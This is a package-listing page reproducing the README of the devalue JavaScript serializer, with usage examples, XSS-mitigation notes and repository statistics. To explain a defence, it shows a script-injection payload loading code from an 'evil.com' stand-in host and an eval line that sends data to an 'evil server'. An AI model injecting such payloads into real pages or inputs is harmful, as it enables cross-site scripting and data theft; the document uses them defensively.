devalue

Gets the job done when JSON.stringify can't

  • Owner: sveltejs/devalue
  • Platform:
  • License:: MIT License
  • Category::
  • Topic:
  • Like:
    0
      Compare:

Github stars Tracking Chart

devalue

Like JSON.stringify, but handles

  • cyclical references (obj.self = obj)
  • repeated references ([value, value])
  • undefined, Infinity, NaN, -0
  • regular expressions
  • dates
  • Map and Set

Try it out on runkit.com.

Goals:

Non-goals:

  • Human-readable output
  • Stringifying functions or non-POJOs

Usage

import devalue from 'devalue';

let obj = { a: 1, b: 2 };
obj.c = 3;

devalue(obj); // '{a:1,b:2,c:3}'

obj.self = obj;
devalue(obj); // '(function(a){a.a=1;a.b=2;a.c=3;a.self=a;return a}({}))'

If devalue encounters a function or a non-POJO, it will throw an error.

XSS mitigation

Say you're server-rendering a page and want to serialize some state, which could include user input. JSON.stringify doesn't protect against XSS attacks:

const state = {
  userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};

const template = `
<script>
  // NEVER DO THIS
  var preloaded = ${JSON.stringify(state)};
</script>`;

Which would result in this:

<script>
  // NEVER DO THIS
  var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
</script>

Using devalue, we're protected against that attack:

const template = `
<script>
  var preloaded = ${devalue(state)};
</script>`;
<script>
  var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"};
</script>

This, along with the fact that devalue bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by devalue can be safely deserialized with eval or new Function:

const value = (0,eval)('(' + str + ')');

Other security considerations

While devalue prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, you should not send user data from client to server using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed devalue would have access to your system.

When using eval, ensure that you call it indirectly so that the evaluated code doesn't have access to the surrounding scope:

{
  const sensitiveData = 'Setec Astronomy';
  eval('sendToEvilServer(sensitiveData)'); // pwned :(
  (0,eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
}

Using new Function(code) is akin to using indirect eval.

See also

License

MIT

Main metrics

Overview
Name With Ownersveltejs/devalue
Primary LanguageJavaScript
Program languageJavaScript (Language Count: 1)
Platform
License:MIT License
所有者活动
Created At2018-03-10 21:53:48
Pushed At2024-09-25 20:10:53
Last Commit At
Release Count28
Last Release Namev5.1.1 (Posted on 2024-09-25 16:10:52)
First Release Namev1.0.0 (Posted on 2018-03-10 16:54:43)
用户参与
Stargazers Count2.4k
Watchers Count13
Fork Count64
Commits Count174
Has Issues Enabled
Issues Count45
Issue Open Count25
Pull Requests Count33
Pull Requests Open Count12
Pull Requests Close Count9
项目设置
Has Wiki Enabled
Is Archived
Is Fork
Is Locked
Is Mirror
Is Private